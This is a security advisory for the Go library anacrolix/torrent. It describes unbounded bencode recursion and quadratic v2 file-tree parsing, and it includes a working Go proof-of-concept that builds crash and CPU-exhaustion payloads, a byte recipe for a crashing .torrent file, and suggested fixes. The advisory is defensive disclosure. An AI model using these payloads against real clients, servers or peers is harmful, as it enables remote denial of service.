anacrolix/torrent · Security

anacrolix torrent has unbounded recursion in the bencode decoder that causes stack-overflow crash and CPU-exhaustion DoS

GHSA ID
GHSA-2wrx-84qj-4pcg
Severity
medium
Published
Updated
CVSS
6.5 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
CVSS v3
6.5 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Description

Summary

anacrolix/torrent's bencode decoder (bencode/) applies no limit on the nesting depth of nested dictionaries and lists. Two distinct denial-of-service mechanisms follow from that single root cause, both reachable from a single crafted .torrent file or from metadata obtained from a peer on a magnet-link/v2 download:

  1. Stack-overflow process crash. Decoder.readOneValue recurses once per nesting level with no depth bound. A .torrent whose info value is a list nested a few million levels deep (≈8 MB file) drives the recursion past the 1 GiB goroutine-stack limit and the process dies with an unrecoverable fatal error: stack overflow. 2. Quadratic CPU exhaustion. metainfo.FileTree.UnmarshalBencode (BitTorrent v2) re-parses each subtree at every level, making parse time grow ~O(n²). A v2 info dict with a ~30,000-level file tree (≈0.2 MB) takes ~66 s to decode; 60,000 levels exceeds 90 s of decode time.

Affected: every application embedding github.com/anacrolix/torrent that ingests attacker-supplied metainfo - the CLI tools (cmd/torrent, cmd/torrent2), any server that opens .torrent files, or any client that accepts metadata from a peer for a magnet/v2 download. No depth limit has ever existed in the decoder.

Vulnerability Details

All file:line references are against the pinned commit 4ad31c5170787215c51c6ddaa54abc06b623c11c.

Root cause - no recursion/depth limit in the bencode decoder

bencode/decode.go implements three independently unbounded recursive parsers. There is no depth counter and no MaxDepth/nesting guard anywhere in bencode/ or metainfo/.

Defect 1 - readOneValue recursion (bencode/decode.go:546-549)

case 'd', 'l':
    // read until there is nothing to read
    for d.readOneValue() {
    }                       // <- recurses once per nested dict/list level, unbounded

readOneValue is invoked by Decoder.parseUnmarshaler (bencode/decode.go:591) whenever a decoded field implements bencode.Unmarshaler, which includes bencode.Bytes - the type of MetaInfo.InfoBytes (metainfo/metainfo.go:17). So decoding a normal .torrent routes the entire info value through this recursion. Stack usage is ~256 bytes per level (consistent with the observed ~4M-level crash at the 1 GiB goroutine-stack limit), so nesting l a few million levels deep exhausts the 1 GiB default goroutine-stack limit. Go's stack overflow is a fatal error - it is not a recoverable panic, so the recover() in Decoder.Decode (bencode/decode.go:35-55) cannot intercept it, and the whole process terminates.

Entry points that reach readOneValue with attacker-controlled bytes:

  • metainfo.Load (metainfo/metainfo.go:35) / metainfo.LoadFromFile (metainfo.go:50) - decoding a .torrent file; the info value becomes a bencode.Bytes unmarshaler field.
  • Client.AddTorrent / Client.AddTorrentFromFile -> metainfo.LoadFromFile (client.go:1776 inside AddTorrentFromFile), and TorrentSpec.InfoBytes -> setInfoBytesLocked -> bencode.Unmarshal(b, &info) (torrent.go:638) - peer-fetched metadata.

For the remote-peer path (magnet-link/v2 download), peer-supplied metadata pieces are reassembled and passed to setInfoBytesLocked once complete (torrent.go:1874). The accepted metadata size is capped at maxMetadataSize = 16 MiB (global.go:18), which comfortably admits the ≈8 MB Defect-1 payload and the ≈0.2 MB Defect-2 payload, so both defects are reachable from an untrusted peer, not only from a locally-opened .torrent.

Defect 2 - FileTree.UnmarshalBencode recursive re-parse (metainfo/file-tree.go:42-49)

for key, bytes := range dir {
    var sub FileTree
    err = sub.UnmarshalBencode(bytes)   // <- recurses once per file-tree level, and each call re-runs
                                        //   bencode.Unmarshal over its entire subtree

FileTree implements bencode.Unmarshaler (file-tree.go:53), so the file tree field of a v2 info dict (metainfo/info.go:33) routes through it. Each level calls sub.UnmarshalBencode, which starts with bencode.Unmarshal(bytes, &dir) over the whole remaining subtree. A file tree nested D levels deep therefore performs O(D) bencode.Unmarshal calls, each over an O(D)-sized payload - O(D²) total parse work. The steady state is a CPU-bound single goroutine, so the embedding process simply hangs.

Reachability: any bencode.Unmarshal into metainfo.Info, including the peer-metadata path setInfoBytesLocked (torrent.go:638) for a magnet/v2 download, and MetaInfo.UnmarshalInfo (metainfo/metainfo.go:61-64).

Sanitizers / existing limits that do NOT apply

  • Decoder.MaxStrLen (bencode/decode.go:787-791, default 128 MiB) bounds a single string value; it is never consulted by readOneValue (decode.go:564 does io.CopyN(&d.buf, d.r, length) with no MaxStrLen check) and does not bound dict/list nesting depth.
  • The existing fuzzers (bencode/fuzz_test.go) only round-trip interface{} values; small fuzz inputs cannot synthesize the millions of nesting levels needed to trip the stack limit, which is why this has evaded them.

Impact

  • Denial of service / availability (complete process crash). A single ~8 MB .torrent file, or ~8 MB of metadata from a malicious peer, crashes the embedding application with fatal error: stack overflow (Defect 1). The crash is not recoverable in-process. For a server that ingests user-submitted torrents or runs a long-lived swarm, this is a trivial remote DoS: seed a torrent whose metainfo nests lists deeply, and any client that fetches the metadata dies.
  • Denial of service / availability (CPU starvation). A ~0.2-0.6 MB v2 info dict with a deeply nested file tree pins a core for ~66 s to minutes and blocks any other decode work sharing the process (Defect 2).

Threat actor: an unauthenticated remote peer (v2/magnet metadata, within the allowed 16 MiB metadata size - global.go:18) or a local user opening a malicious .torrent. The remote-peer case is the higher-reachability/cloud scenario; the local-file case requires the victim to open one file (conservative UI:R). Headline CVSS 3.1 base CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H = 6.5 (remote, low-complexity, unauthenticated, requires the victim to open a torrent or receive peer metadata, single-process availability loss); for applications that ingest torrents with no user interaction (programmatic server ingestion), UI becomes N, raising it to 7.5. CWE-674 (Uncontrolled Recursion) is the precise root cause for Defect 1; CWE-407 (Inefficient Algorithmic Complexity) covers Defect 2.

Per-metric justification (headline 6.5 vector, UI:R):

  • Attack Vector (AV): Network - the trigger is peer-supplied metadata (magnet/v2 download, within the 16 MiB metadata budget) or a .torrent file opened by any client of the library; no local access required.
  • Attack Complexity (AC): Low - the payload is a deterministic list-nesting pattern in metainfo; no race, heap grooming, or special environment.
  • Privileges Required (PR): None - feeding metainfo to the decoder is the unprivileged, public API usage.
  • User Interaction (UI): Required - the conservative remote scenario needs the victim to open a magnet/torrent (or accept a peer's metadata); programmatic server ingestion removes this (UI:N -> 7.5).
  • Scope (S): Unchanged - the impacted security authority is the embedding process itself.
  • Confidentiality (C): None - no data disclosure.
  • Integrity (I): None - no data modification.
  • Availability (A): High - Defect 1 terminates the process with fatal error: stack overflow (unrecoverable); Defect 2 starves a core for ~66 s+ per 0.2 MB v2 info dict with clean quadratic scaling.

Reproduction Steps

All runs are local-only within the test host; nothing contacts a network.

Environment and single harness

The harness is a single Go program (go test-style) that builds the malicious payload, then decodes it through the same public API the library uses. It reproduces both defects. Set up a temp module and run the two tests separately (Defect 1 crashes the process, so the two defects cannot share one test run):

go mod init torrent_recursion_dos
go mod edit -require github.com/anacrolix/[email protected]
go mod edit -replace github.com/anacrolix/torrent=/path/to/your/checkout
go test -run TestDefect1_StackOverflow -v .
go test -run TestDefect2_CPUExhaustion -v .

Harness (torrent_recursion_dos_test.go, placed in a temp module that imports the local clone):

package torrent_recursion_dos

import (
	"bytes"
	"fmt"
	"os"
	"testing"

	"github.com/anacrolix/torrent/bencode"
	"github.com/anacrolix/torrent/metainfo"
)

// buildInfo loops a list (l ... l e ... e) nested `depth` levels, wrapped in a
// valid .torrent: { "info": <that list> }.
func buildInfo(depth int, mode byte) []byte {
	var b bytes.Buffer
	b.WriteString("d4:infod")
	for i := 0; i < depth; i++ {
		b.WriteByte(mode) // 'l' for a nested list
	}
	for i := 0; i < depth; i++ {
		b.WriteByte('e')
	}
	b.WriteString("ee")
	return b.Bytes()
}

// buildV2Info builds a v2 info dict whose "file tree" nests `depth` single-key
// dicts around a valid 32-byte-pieces-root file leaf.
func buildV2Info(depth int) []byte {
	leaf := map[string]interface{}{
		"": map[string]interface{}{
			"length":      5,
			"pieces root": string(bytes.Repeat([]byte{'A'}, 32)),
		},
	}
	node := leaf
	for i := 0; i < depth; i++ {
		node = map[string]interface{}{"a": node}
	}
	info := map[string]interface{}{
		"meta version": 2, "piece length": 32768, "file tree": node,
	}
	out, _ := bencode.Marshal(info)
	return out
}

// Defect 1: metainfo.Load on a .torrent with a deeply nested info list
// derives a fatal `goroutine stack exceeds 1000000000-byte limit`.
func TestDefect1_StackOverflow(t *testing.T) {
	depth := 4_000_000 // ~8 MB; adjust down if the runtime stack cap differs
	in := buildInfo(depth, 'l')
	if len(os.Getenv("SKIP_CRASH")) == 0 {
		// Decodes into MetaInfo; InfoBytes is a bencode.Bytes unmarshaler, so
		// this drives readOneValue recursion. Crashes the process.
		_, err := metainfo.Load(bytes.NewReader(in))
		_ = err
	}
	fmt.Printf("[defect1] decoded depth=%d without crashing\n", depth)
}

// Defect 2: decoding a v2 info dict with a deep file tree is CPU-quadratic.
func TestDefect2_CPUExhaustion(t *testing.T) {
	depth := 30_000 // ~0.2 MB; ~66 s on this machine
	src := buildV2Info(depth)
	var info metainfo.Info
	if err := bencode.Unmarshal(src, &info); err != nil {
		t.Fatal(err)
	}
	fmt.Println("[defect2] parsed deep v2 file tree")
}

Observations with the pinned commit (Go 1.26, laptop):

# TestDefect1 - process aborts, unrecoverable:
runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflow
[exit status 2]

# TestDefect2 - wall-clock parse time (single-threaded):
depth=30_000              => ~66 s
depth=60_000              => >90 s (timeout)

To reproduce defect 1 from a saved file instead of the in-memory harness, generate the payload and open it with any of the shipped tools or the metainfo.Load API. The payload is produced inline by the Go harness above; equivalently, emit the same 8,000,010 bytes as d4:infod + 4,000,000 l + 4,000,000 e + ee:

./cmd/torrent -seed -metainfo ./crash.torrent   # crashes

The payload is a single static file; it performs no network I/O, writes nothing, and is a plain non-destructive crash reproducer (a harness, not a weapon).

Recommendations

  1. Add a nesting-depth limit to the decoder (recommended, fixes both defects). Thread a depth counter through parseValue / parseDict / parseList / parseValueInterface / parseListInterface / parseDictInterface / readOneValue, and return a SyntaxError when it exceeds a sane bound (e.g. 64). Forward-compatibly, expose it on Decoder like the existing MaxStrLen (bencode/decode.go:21-32). 2. Make readOneValue length-aware. Apply the same MaxStrLen bound to the io.CopyN(&d.buf, d.r, length) at bencode/decode.go:564 instead of trusting the raw length field, so oversized bulk fields fail as SyntaxError instead of being buffered. 3. Break the O(n²) in FileTree.UnmarshalBencode. Parse the file tree with an explicit, depth-bounded iterative walk (or a single pass over the raw value) instead of re-running bencode.Unmarshal on every subtree level. The depth bound from (1) already arrests the quadratic growth. 4. Convert fatal overflow into a recoverable error. Guarantee that no input can grow the goroutine stack beyond the runtime limit; the depth bound in (1) achieves this. Do not rely on recover() - a stack overflow is fatal and unrecoverable in Go. 5. Fuzz with depth in mind. Add a fuzz seed / corpus that includes deeply nested d/l values and assert both that decoding returns an error (not a crash) and that no level trips the depth limit.

References

  • Source (pinned): https://github.com/anacrolix/torrent @ 4ad31c5170787215c51c6ddaa54abc06b623c11c
    • Unbounded recursion: bencode/decode.go:546-549, bencode/decode.go:591
    • File-tree recursion: metainfo/file-tree.go:42-49
    • Public entry points: metainfo/metainfo.go:35-50, client.go:1776, torrent.go:638
    • Missing MaxStrLen in bulk read: bencode/decode.go:564
    • Metadata size cap (remote reachability): global.go:18, reassembly call torrent.go:1874
  • Prior hardening in this codebase (unrelated to this class, recorded for completeness):
    • v2 pieces-root panic fix: commit 7218a979 ("validate v2 file tree pieces root length before torrent setup"), present at the pinned commit via misc.go:92 -> file-tree.go:164.
    • Path-traversal safeguards in storage (storage/file-paths.go:32 isSubFilepath, storage/safe-path.go:16 ToSafeFilePath) - inspected and found to hold (not the issue here).
  • No published advisory found: OSV.dev and NVD return no records for the package (github.com/anacrolix/torrent, purl pkg:golang/github.com/anacrolix/torrent); the Go ecosystem advisory database lists none.

CWEs

References